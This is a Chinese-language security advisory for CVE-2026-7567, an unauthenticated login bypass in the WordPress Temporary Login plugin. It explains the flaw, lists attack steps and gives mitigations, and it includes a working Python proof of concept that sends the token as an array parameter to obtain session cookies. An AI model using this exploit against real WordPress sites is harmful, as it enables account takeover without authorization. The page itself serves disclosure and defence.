IPBUF安全漏洞报告
English
CVE-2026-7567 CVSS 9.8 严重

CVE-2026-7567 WP Temporary Login认证绕过

披露日期: 2026-05-01

漏洞信息

漏洞编号
CVE-2026-7567
漏洞类型
认证绕过
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress Temporary Login Plugin

相关标签

认证绕过WordPressWordPress插件Web安全CVE-2026-7567

漏洞概述

WordPress的Temporary Login插件在1.0.0及以下版本中存在严重的认证绕过漏洞。由于`maybe_login_temporary_user()`函数未正确验证`temp-login-token`参数类型,攻击者可通过发送数组格式的参数绕过PHP的empty()检查,导致无需有效令牌即可认证为任意临时用户,从而完全接管账户权限。

技术细节

该漏洞的核心在于PHP的类型处理机制及WordPress查询逻辑缺陷。在`maybe_login_temporary_user()`函数中,代码未对`temp-login-token`进行标量验证。攻击者将参数提交为数组(如`temp-login-token[]=x`),导致`empty()`检查失效,`sanitize_key()`返回空字符串。此空字符串作为`meta_value`传入`get_users()`,WordPress查询时忽略空值,仅依据`meta_key`返回所有临时用户。攻击者利用此逻辑缺陷,无需知道具体Token即可通过单一GET请求完成认证。

攻击链分析

STEP 1
侦察
识别目标WordPress站点是否安装了Temporary Login插件且版本小于等于1.0.0。
STEP 2
构造请求
攻击者构造一个特制的HTTP GET请求,将`temp-login-token`参数修改为数组形式(例如`temp-login-token[]=any`)。
STEP 3
发送攻击
向目标服务器发送该恶意请求,触发插件中的漏洞代码。
STEP 4
绕过认证
服务器端逻辑缺陷导致验证绕过,攻击者获得任意临时登录用户的有效会话Cookie。
STEP 5
接管账户
攻击者利用获取的Cookie登录WordPress后台,获得该临时用户对应的所有权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit(target): """ PoC for CVE-2026-7567. Bypasses authentication by sending an array parameter. """ url = f"{target}/" # Payload: Send parameter as an array to bypass validation params = {"temp-login-token[]": "bypass"} try: r = requests.get(url, params=params, timeout=10) if r.cookies: print("[+] Auth bypass likely successful. Cookies:") print(r.cookies.get_dict()) else: print("[-] Failed") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": exploit("http://example.com")

影响范围

WordPress Temporary Login Plugin <= 1.0.0

防御指南

临时缓解措施
建议立即检查并更新插件。在升级前,可通过Web服务器配置(如Nginx或Apache)拦截包含`temp-login-token[`特征的恶意请求,或暂时禁用插件功能以阻断攻击路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表